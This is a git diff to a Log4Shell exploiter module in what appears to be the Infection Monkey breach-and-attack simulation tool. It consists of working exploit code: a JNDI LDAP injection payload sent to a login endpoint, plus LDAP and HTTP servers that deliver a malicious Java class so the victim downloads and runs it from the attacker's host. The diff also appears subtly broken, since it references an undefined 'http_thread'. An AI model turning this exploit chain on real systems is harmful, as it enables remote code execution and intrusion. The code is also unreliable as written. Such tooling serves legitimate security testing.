diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 4b58ad396..a5f9e17a5 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,7 @@ import http.client import http.server import logging +from threading import Thread import requests @@ -14,21 +15,21 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) -LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=LinuxExploit}" +LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}" -class Log4jExploiter(WebRCE): +class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" LDAP_PORT = 8080 CLASS_HTTP_SERVER_PORT = 1337 + DOWNLOAD_TIMEOUT = 15 URLS = ["http://192.168.56.101:8080/login"] def __init__(self, host: VictimHost): super().__init__(host) self._client = None - self._stop_http = True def exploit_host(self): @@ -45,23 +46,35 @@ class Log4jExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - self.start_java_class_http_server(class_http_server_ip, java_class) + + java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) + java_class_http_thread.start() + ldap = LDAPExploitServer( ldap_server_port=8080, http_server_ip=class_http_server_ip, http_server_port=self.CLASS_HTTP_SERVER_PORT, storage_dir=get_monkey_dir_path(), ) - ldap.run() + ldap_thread = ldap.get_run_thread() + ldap_thread.start() - payload = {"username": LDAP_PAYLOAD, "password": "m0nk3y"} + payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} try: - requests.post(Log4jExploiter.URLS[0], data=payload, timeout=5) + response = requests.post( + Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False + ) except requests.ReadTimeout: logger.error("Couldn't send request to the vulnerable machine") return False finally: - self._stop_http = True + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() + + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True + + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) ldap.stop() return True @@ -77,22 +90,31 @@ class Log4jExploiter(WebRCE): class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes + class_downloaded = False + stop = False def do_GET(self): + logger.error("Got a get request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() logger.info("Sending payload class!") self.wfile.write(self.java_class) + Log4ShellExploiter.HTTPHandler.class_downloaded = True - def start_java_class_http_server(self, ip: str, java_class: bytes): - # TODO run this on a separate thread - self._stop_http = False - Log4jExploiter.HTTPHandler.java_class = java_class + @staticmethod + def _run_class_http_server(ip): server = http.server.HTTPServer( - (ip, Log4jExploiter.CLASS_HTTP_SERVER_PORT), Log4jExploiter.HTTPHandler + (ip, Log4ShellExploiter.CLASS_HTTP_SERVER_PORT), Log4ShellExploiter.HTTPHandler ) - - while not self._stop_http: + while ( + not Log4ShellExploiter.HTTPHandler.class_downloaded + and not Log4ShellExploiter.HTTPHandler.stop + ): server.handle_request() + + def get_java_class_server_thread(self, ip: str, java_class: bytes): + Log4ShellExploiter.HTTPHandler.java_class = java_class + + return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f575f20cc..8cad3fba3 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,5 +1,6 @@ import tempfile from pathlib import Path +from threading import Thread from ldaptor.interfaces import IConnectedLDAPEntry from ldaptor.ldiftree import LDIFTreeEntry @@ -83,8 +84,8 @@ class LDAPExploitServer: log_observer = log.PythonLoggingObserver() log_observer.start() - def run(self): - reactor.run() + def get_run_thread(self) -> Thread: + return Thread(target=reactor.run, args=[None]) def stop(self): reactor.stop()